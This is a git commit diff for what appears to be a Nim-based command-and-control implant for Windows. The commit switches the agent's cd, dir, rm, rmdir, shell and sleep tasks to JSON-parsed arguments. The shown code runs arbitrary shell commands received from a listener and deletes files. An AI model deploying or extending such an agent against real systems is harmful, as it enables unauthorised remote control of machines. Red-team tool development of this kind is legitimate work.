Updated task structure to use a JSON string instead of seq[string], making it possible to use multiple differently typed arguments

This commit is contained in:
Jakob Friedl
2025-07-09 14:38:30 +02:00
parent 71ff092975
commit bb56ed42f2
10 changed files with 124 additions and 73 deletions

View File

@@ -11,6 +11,8 @@ Basic API-only Commands
- [x] ls/dir : List all files in directory (including hidden ones)
- [x] rm : Remove a file
- [x] rmdir : Remove a empty directory
- [ ] mv : Move a file
- [ ] cp : Copy a file
- [ ] cat/type : Display contents of a file
- [ ] env : Display environment variables
- [ ] ps : List processes

View File

@@ -1,4 +1,4 @@
import os, strutils, strformat, base64, winim, times, algorithm
import os, strutils, strformat, base64, winim, times, algorithm, json
import ../types
@@ -35,7 +35,9 @@ proc taskPwd*(task: Task): TaskResult =
# Change working directory
proc taskCd*(task: Task): TaskResult =
let targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
# Parse arguments
let targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Changing current working directory to {targetDirectory}."
try:
@@ -61,11 +63,13 @@ proc taskCd*(task: Task): TaskResult =
# List files and directories at a specific or at the current path
proc taskDir*(task: Task): TaskResult =
# Parse arguments
var targetDirectory = parseJson(task.args)["directory"].getStr()
echo fmt"Listing files and directories."
try:
# Check if users wants to list files in the current working directory or at another path
var targetDirectory = task.args.join(" ").replace("\"", "").replace("'", "")
if targetDirectory == "":
# Get current working directory using GetCurrentDirectory
@@ -214,8 +218,10 @@ proc taskDir*(task: Task): TaskResult =
# Remove file
proc taskRm*(task: Task): TaskResult =
let target = task.args.join(" ").replace("\"", "").replace("'", "")
echo fmt"Deleting {target}."
# Parse arguments
let target = parseJson(task.args)["file"].getStr()
echo fmt"Deleting file {target}."
try:
# Get current working directory using GetCurrentDirectory
@@ -240,8 +246,10 @@ proc taskRm*(task: Task): TaskResult =
# Remove directory
proc taskRmdir*(task: Task): TaskResult =
let target = task.args.join(" ").replace("\"", "").replace("'", "")
echo fmt"Deleting {target}."
# Parse arguments
let target = parseJson(task.args)["directory"].getStr()
echo fmt"Deleting directory {target}."
try:
# Get current working directory using GetCurrentDirectory

View File

@@ -1,13 +1,19 @@
import winim, osproc, strutils, strformat, base64
import winim, osproc, strutils, strformat, base64, json
import ../types
proc taskShell*(task: Task): TaskResult =
echo "Executing command: ", task.args.join(" ")
# Parse arguments JSON string to obtain specific values
let
params = parseJson(task.args)
command = params["command"].getStr()
arguments = params["arguments"].getStr()
echo fmt"Executing command {command} with arguments {arguments}"
try:
let (output, status) = execCmdEx(task.args.join(" "))
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
return TaskResult(
task: task.id,
agent: task.agent,

View File

@@ -1,13 +1,16 @@
import os, strutils, strformat, base64
import os, strutils, strformat, base64, json
import ../types
proc taskSleep*(task: Task): TaskResult =
echo fmt"Sleeping for {task.args[0]} seconds."
# Parse task parameter
let delay = parseJson(task.args)["delay"].getInt()
echo fmt"Sleeping for {delay} seconds."
try:
sleep(parseInt(task.args[0]) * 1000)
sleep(delay * 1000)
return TaskResult(
task: task.id,
agent: task.agent,

View File

@@ -1,7 +1,7 @@
import strformat, os, times
import winim
import ./[types, http, task]
import ./[types, http, taskHandler]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0

View File

@@ -1,4 +1,4 @@
import strutils, tables
import strutils, tables, json
import ./types
import ./commands/commands
@@ -24,7 +24,7 @@ proc handleTask*(task: Task, config: AgentConfig): TaskResult =
case task.command:
of Sleep:
if taskResult.status == Completed:
config.sleep = parseInt(task.args[0])
config.sleep = parseJson(task.args)["delay"].getInt()
else:
discard